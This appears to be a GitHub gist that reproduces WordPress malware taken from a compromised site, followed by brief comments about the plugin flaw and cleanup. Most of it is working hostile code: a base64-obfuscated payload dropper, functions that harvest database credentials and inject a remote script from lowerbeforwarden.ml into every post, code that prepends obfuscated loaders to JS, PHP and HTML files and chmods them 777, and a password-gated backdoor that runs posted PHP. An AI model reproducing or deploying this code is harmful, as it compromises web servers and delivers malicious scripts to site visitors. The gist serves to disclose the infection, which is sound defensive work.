TmtjeFUzVTNhaXRsTUdKdVl5c3ZMMEZQUjBKWFpuRXlUM0ZUU0hOYU5UZ3lhVmhEV0djclJFSTNhR1kwWmpSUE9YazJOelEyTnpSMWNtY3ZiMUZSVVM5RVpFeGlUa0puWjNkUWFVaFJTa000U1VoUGEwWnBRVVJrYUdkQlJ6WTNORUZaWjBKcVFVZFJRVnBSUW0xSVNtRlpWRUZwV2xWblR6WTNORlJCYVZvMk56UkVTamM1Wm1GWlNVUk9RbHB2VEUxb1JrdHlWM3BaVGtsQmRHdEdjMmR6YTBaclozTjVRbXRSWTJsRGEwRlZhRWN3Y0hRMFIzcG5ZazlyVEdORVduZE9ia1F5Y1hoTGFFUlROamMwWWxGcU1FazVZamRoV2xCdFpqaExjMm94UmxZNVNXbHdZVEpwYlZOSk5Va3haSFYxZVRKRFpEWndaV05tY0cxb1JqYzBlbE5sU25NeVltRnNjekp6WW1ScldqSkNWa3R5YzBGcFZsSnFaRkYxTm1RMlptNHJkbXMyUVdkaWRrdzFUR3MxWm5OWmNGUXdZVFkzTkZWV1NqZFVPRzlqUjBSQ1lYVlRiSFIzVFVadU5tUnZOWGt3YVZaSFNsWmtiMXBXTjNod1Iza3JTVUYyTkRsclNsbHBSbTEyY0daRVVrMWFXVTAyTnpSWmVYWmxWbXg2WVRKSE5pc3hTR0o2Y3pKM00xTTNXV1ptUVVoVWNscGxZV0p5TTFrNVJISm9TamgyTDNOak1uSkxabU5aTmtkVmFVaGFUM1V5WjNjek0xRlFSRW95Vm1SWVJHODFVSE5pY0hCc1REY3hTa3h6UkRsSlprMDJOMU4wUXpZM05HbFFVMFJzVUZwT1duWmlaak12UjJGVFRWSTBVVmM1TTBKYWFpdEVNVzFhYTBSa1ltWWlPdzBLSkdFZ1BTQnpkSEpmY21Wd2JHRmpaU2drWkdkeVpYVnpaR2tzSUNKRklpd2dKR0VwT3cwS1pYWmhiQ0FvWjNwcGJtWnNZWFJsS0dKaGMyVTJORjlrWldOdlpHVW9KR0VwS1NrNyI7CiRwYXlsb2FkX25hbWUgPSAiIjsKCnNyYW5kKHRpbWUoKSk7CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZnVuY3Rpb24gY29tcGFyZXIoJGEsICRiKQp7CiAgICByZXR1cm4gc3RybGVuKCRhKS1zdHJsZW4oJGIpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKSkgewogICAgZnVuY3Rpb24gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCAkZGF0YSkgewogICAgICAgICRmID0gQGZvcGVuKCRmaWxlbmFtZSwgJ3cnKTsKICAgICAgICBpZiAoISRmKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYnl0ZXMgPSBmd3JpdGUoJGYsICRkYXRhKTsKICAgICAgICAgICAgZmNsb3NlKCRmKTsKICAgICAgICAgICAgcmV0dXJuICRieXRlczsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIEdldFBhdGhEaWZmKCRiYXNlX3BhdGgsICRmdWxsX3BhdGgpCnsKICAgICRwb3MgPSBzdHJwb3MoJGZ1bGxfcGF0aCwgJGJhc2VfcGF0aCk7CgogICAgaWYgKCRwb3MgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiBGQUxTRTsKICAgIH0KCiAgICByZXR1cm4gc3Vic3RyKCRmdWxsX3BhdGgsICRwb3MgKyBzdHJsZW4oJGJhc2VfcGF0aCkpOwp9CgpmdW5jdGlvbiBHZXRXcml0YWJsZURpcnMoKQp7CiAgICAkcmVzID0gQXJyYXkoKTsKCiAgICAkYW5hbHlzeXNfcXVldWUgPSBBcnJheSgpOwoKICAgICRhbmFseXN5c19xdWV1ZVtdID0gR2V0RG9jUm9vdCgpOwoKICAgICRzZWxmX3BhdGggPSAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107CiAgICB3aGlsZSAoKCRzbGFzaCA9IHN0cnJwb3MoJHNlbGZfcGF0aCwgRElSRUNUT1JZX1NFUEFSQVRPUikpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICAkc2VsZl9wYXRoID0gc3Vic3RyKCRzZWxmX3BhdGgsIDAsICRzbGFzaCk7CgogICAgICAgIGlmICgkc2VsZl9wYXRoID09IEdldERvY1Jvb3QoKSkKICAgICAgICB7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgaWYgKHN0cmxlbigkc2VsZl9wYXRoKSkKICAgICAgICB7CiAgICAgICAgICAgICRhbmFseXN5c19xdWV1ZVtdID0gJHNlbGZfcGF0aDsKICAgICAgICB9CiAgICB9CgogICAgZm9yZWFjaCAoJGFuYWx5c3lzX3F1ZXVlIGFzICRjdXJyZW50X2RpcikKICAgIHsKICAgICAgICBpZiAoIWluX2FycmF5KCRjdXJyZW50X2RpciwgJHJlcykpCiAgICAgICAgewogICAgICAgICAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJHJlcywgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIpKTsKICAgICAgICB9CiAgICB9CiAgICAkcmVzID0gYXJyYXlfbWVyZ2UoJGFuYWx5c3lzX3F1ZXVlLCAkcmVzKTsKCiAgICByZXR1cm4gQ2hlY2tXcml0YWJsZShhcnJheV91bmlxdWUoJHJlcykpOwp9CgpmdW5jdGlvbiBDaGVja1dyaXRhYmxlKCRkaXJfbGlzdCkKewogICAgJGRpcl9saXN0X3dyaXRhYmxlID0gQXJyYXkoKTsKCiAgICBmb3JlYWNoICgkZGlyX2xpc3QgYXMgJGRpcikKICAgIHsKICAgICAgICBpZiAoQGlzX3dyaXRhYmxlKCRkaXIpID09IFRSVUUpCiAgICAgICAgewogICAgICAgICAgICAkZGlyX2xpc3Rfd3JpdGFibGVbXSA9ICRkaXI7CiAgICAgICAgfQogICAgfQoKICAgIHJldHVybiAkZGlyX2xpc3Rfd3JpdGFibGU7Cn0KCmZ1bmN0aW9uIEdldERpcmVjdG9yeUxpc3QoJGRpciwgJGRlcHRoPTEwMDApCnsKCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsKICAgICRkaXJfY291bnQgPSAwOwoKICAgIGlmICgkZGVwdGggPT0gMCkKICAgIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAkZGlyID0gc3RybGVuKCRkaXIpID09IDEgPyAkZGlyIDogcnRyaW0oJGRpciwgJ1xcLycpOwogICAgJGggPSBAb3BlbmRpcigkZGlyKTsKICAgIGlmICgkaCA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpCiAgICB7CiAgICAgICAgaWYgKCRmICE9PSAnLicgYW5kICRmICE9PSAnLi4nKQogICAgICAgIHsKICAgICAgICAgICAgJGN1cnJlbnRfZGlyID0gIiRkaXIvJGYiOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRjdXJyZW50X2RpcikpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRkaXJfY291bnQgKz0gMTsKCiAgICAgICAgICAgICAgICBpZiAoJGRpcl9jb3VudCA+PSAkZGVwdGgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJHJlc3VsdFtdID0gJGN1cnJlbnRfZGlyOwogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGFycmF5X21lcmdlKCRyZXN1bHQsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyLCAkZGVwdGggLyAxMCkpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGNsb3NlZGlyKCRoKTsKCiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gR2V0RG9jUm9vdCgpCnsKICAgICRkb2Nyb290X2VuZCA9IHN0cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgICBpZiAoJGRvY3Jvb3RfZW5kID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsKICAgIH0KICAgIGVsc2VpZiAoJGRvY3Jvb3RfZW5kID09PSAwKQogICAgewogICAgICAgIHJldHVybiAiLyI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgICAgcmV0dXJuIHN1YnN0cigkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sIDAsICRkb2Nyb290X2VuZCk7CiAgICB9Cn0KCmZ1bmN0aW9uIEdldFBheWxvYWQoJHBheWxvYWQpCnsKICAgICRjdXJyZW50X3BheWxvYWQgPSBiYXNlNjRfZGVjb2RlKCRwYXlsb2FkKTsKCiAgICByZXR1cm4gJGN1cnJlbnRfcGF5bG9hZDsKfQoKZnVuY3Rpb24gV3JpdGVQYXlsb2FkKCRwYXRoLCAkcGF5bG9hZCkKewogICAgaWYgKCFmaWxlX2V4aXN0cygkcGF0aCkpCiAgICB7CiAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCBHZXRQYXlsb2FkKCRwYXlsb2FkKSkgIT0gRkFMU0UpCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICB9CgogICAgfQoKICAgIHJldHVybiBGQUxTRTsKfQoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCiMgZ2V0IGJhc2UgbG9jYWwgYW5kIHJlbW90ZSBwYXRoCiRiYXNlX3d3d19wYXRoID0gJGhvc3QgPSBAJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokYmFzZV9sb2NhbF9wYXRoID0gR2V0RG9jUm9vdCgpOwoKaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy5odGFjY2VzcyIpKSkKewogICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iL2luZGV4LnBocCIpKSkKICAgIHsKICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXguaHRtbCIpKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi8uLiIpKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aCkpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgJGJhc2VfbG9jYWxfcGF0aF90aW1lWydtdGltZSddID0gdGltZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgokYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ107CgokZGlyX2xpc3Rfd3JpdGFibGUgPSBHZXRXcml0YWJsZURpcnMoKTsKCmlmIChjb3VudCgkZGlyX2xpc3Rfd3JpdGFibGUpID09IDApCnsKICAgIGVjaG8gIlVSTCNTVEFUVVNfVU5XUklUQUJMRSI7CiAgICBleGl0KCk7Cn0KCnVzb3J0KCRkaXJfbGlzdF93cml0YWJsZSwgJ2NvbXBhcmVyJyk7ICMgc29ydCBkaXJlY3RvcnkgYnkgbGVuCgokbGlzdF93cml0YWJsZSA9IEFycmF5KCk7CiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbMF07CiRsaXN0X3dyaXRhYmxlW10gPSAkZGlyX2xpc3Rfd3JpdGFibGVbcmFuZCgwLHNpemVvZigkZGlyX2xpc3Rfd3JpdGFibGUpKV07CiRnb29kID0gRkFMU0U7CiRnb29kX2NvdW50ZXIgPSAwOwojIHRyeSB0byB1cGxvYWQKJG1heF90cnllcyA9IHN0cmxlbigkcGF5bG9hZF9uYW1lKSA9PSAwID8gNSA6IDE7CmZvcmVhY2ggKCRsaXN0X3dyaXRhYmxlIGFzICRjdXJyZW50X2RpcikKewogICAgLy8gaWYgcGF5bG9hZCBuYW1lIGlzIHNldCwgbm8gbW9yZSBvbmUgdHJ5IHRvIHVwbG9hZCBvbiBjdXJyZW50IGRpcgogICAgLy9mb3IgKCRpPTA7ICRpIDwgJG1heF90cnllczsgJGkrKykKICAgIHsKICAgICAgICBpZiAoc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDApCiAgICAgICAgewogICAgICAgICAgICAkdGVtcF9wYXlsb2FkX25hbWUgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZygpOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICAkdGVtcF9wYXlsb2FkX25hbWUgPSAkcGF5bG9hZF9uYW1lOwogICAgICAgIH0KCiAgICAgICAgJGZ1bGxfcGF5bG9hZF9uYW1lID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR0ZW1wX3BheWxvYWRfbmFtZTsKCiAgICAgICAgJHVyaV9wYXRoID0gR2V0UGF0aERpZmYoJGJhc2VfbG9jYWxfcGF0aCwgJGZ1bGxfcGF5bG9hZF9uYW1lKTsKICAgICAgICBpZiAoc3RycG9zKCR1cmlfcGF0aCwgJHRlbXBfcGF5bG9hZF9uYW1lKSA9PT0gZmFsc2UpCiAgICAgICAgewogICAgICAgICAgICAkdXJpX3BhdGggPSAkdXJpX3BhdGggLiAiLyIgIC4gJHRlbXBfcGF5bG9hZF9uYW1lOwogICAgICAgIH0KICAgICAgICAkZnVsbF91cmkgPSAkYmFzZV93d3dfcGF0aCAuIChzdHJwb3MoJHVyaV9wYXRoLCAiLyIpID09IDAgPyAkdXJpX3BhdGggOiAiLyIuJHVyaV9wYXRoKTsKCiAgICAgICAgaWYgKFdyaXRlUGF5bG9hZCgkZnVsbF9wYXlsb2FkX25hbWUsICRwYXlsb2FkX2ZpbGUpKQogICAgICAgIHsKICAgICAgICAgICAgdG91Y2goJGZ1bGxfcGF5bG9hZF9uYW1lLCAkYmFzZV9sb2NhbF9wYXRoX3RpbWUpOyAvLyBzZXQgbGFzdCBtb2RpZmljYXRpb24gdGltZSBhcyByb290IGZvbGRlcgogICAgICAgICAgICBjaG1vZCgkZnVsbF9wYXlsb2FkX25hbWUsIDA3NTUpOwogICAgICAgICAgICBlY2hvICJVUkwjaHR0cDovLyIgLiAkZnVsbF91cmkgLiBQSFBfRU9MOwogICAgICAgICAgICAkZ29vZD1UUlVFOwogICAgICAgICAgICAkZ29vZF9jb3VudGVyKys7CiAgICAgICAgICAgIGlmICgkZ29vZF9jb3VudGVyID4xKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvL3VubGluaygiZGZhb25mcGZrd2cucGhwIik7CiAgICAgICAgICAgICAgICBlY2hvICIjQ0NDVVJMIjsKICAgICAgICAgICAgICAgIGV4aXQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQppZighJGdvb2QpCiAgICBlY2hvICJVUkwjU1RBVFVTX0NBTlRVUExPQUQjQ0NDVVJMIjsKZWNobyAiI0NDQ1VSTCI7Ci8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKZXhpdCgpOw==")); ?>
<?php echo "ssqqss>>>";
error_reporting(E_ALL);
ini_set('display_errors',1);
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
die();
function get_var_reg($pat,$text) {
if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
{
return $matches[1][0];
}
return "";
}
function search_file_ms($dir,$file_to_search){
$search_array = array();
$files = scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_ms( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_ms( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
show_sitenames($path);
}
} else if($value != "." && $value != "..") {
@search_file_ms($path, $file_to_search);
}
}
}
function show_sitenames($file){
$content = @file_get_contents($file);
if(strpos($content, "DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
// Create connection
$conn = new mysqli($host, $user, $pass);
// Check connection
if ($conn->connect_error) {
} else {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val, "scripts.lowerbeforwarden.ml") === false){
if(strpos($val, "scripts.lowerbeforwarden.ml") === false){
$q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%scripts.lowerbeforwarden.ml%'";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
} else {
}
}
}
} else {
}
}
} else {
}
$conn->close();
}
}
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it($path);
} }else if($value != "." && $value != "..") {
search_file($path, $file_to_search);
}
}
}
function search_file_index($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
search_file_index( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
search_file_index( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) {
make_it_index($path);
} }else if($value != "." && $value != "..") {
search_file_index($path, $file_to_search);
}
}
}
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_js( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,$file_to_search);
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
} else {
$l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "js:".$f."\r\n";
}
}
function make_it_index($f){
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false || strpos($g, 'scripts.lowerbeforwarden.ml') !== false) {
} else {
$l2 = "<script type='text/javascript' src='https://temp.lowerbeforwarden.ml/temp.js?n=nb5'></script>";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
echo "in:".$f."\r\n";
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, '115,99,114,105,112,116,115,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108') !== false) {
} else {
$l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,101,109,112,46,108,111,119,101,114,98,101,102,111,114,119,97,114,100,101,110,46,109,108,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (strpos($g, '<head>') !== false) {
$b = str_replace("<head>","<head>".$l2,$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
if (strpos($g, '</head>') !== false) {
$b = str_replace("</head>",$l2."</head>",$g);
@system('chmod 777 '.$f);
@file_put_contents($f,$b);
echo "hh:".$f."\r\n";
}
}
}
<?php if(isset($_POST['lt']) && md5($_POST['lt']) == base64_decode("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=") ) {$lt = base64_decode($_POST['a']);file_put_contents('lte_','<?php '.$lt);$lt='lte_';if(file_exists($lt)){include($lt);unlink($lt);}} ?>
@khal3d
Copy link

khal3d commented Sep 14, 2020

One of my websites running on WordPress got hacked and found this file uploaded! Do you have any idea how this could happen?

@Saw-mon-and-Natalie
Copy link
Author

One of my websites running on WordPress got hacked and found this file uploaded! Do you have any idea how this could happen?

There is a vulnerability with WordPress File Manager Plugin. If you don't use the plugin uninstall it. If you do use it, make sure you have the latest version. Also, you would need to clean up whatever mess the malware has done on your server. The malware/virus adds its snippet to all js, HTML, and PHP files and changes their permission to 777. It also adds its snippet to the WordPress database on the post table (every single entry). So you would need to clean up your database as well.

@Saw-mon-and-Natalie
Copy link
Author

Saw-mon-and-Natalie commented Sep 15, 2020

@khal3d, more info about this exploit on WordFence.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment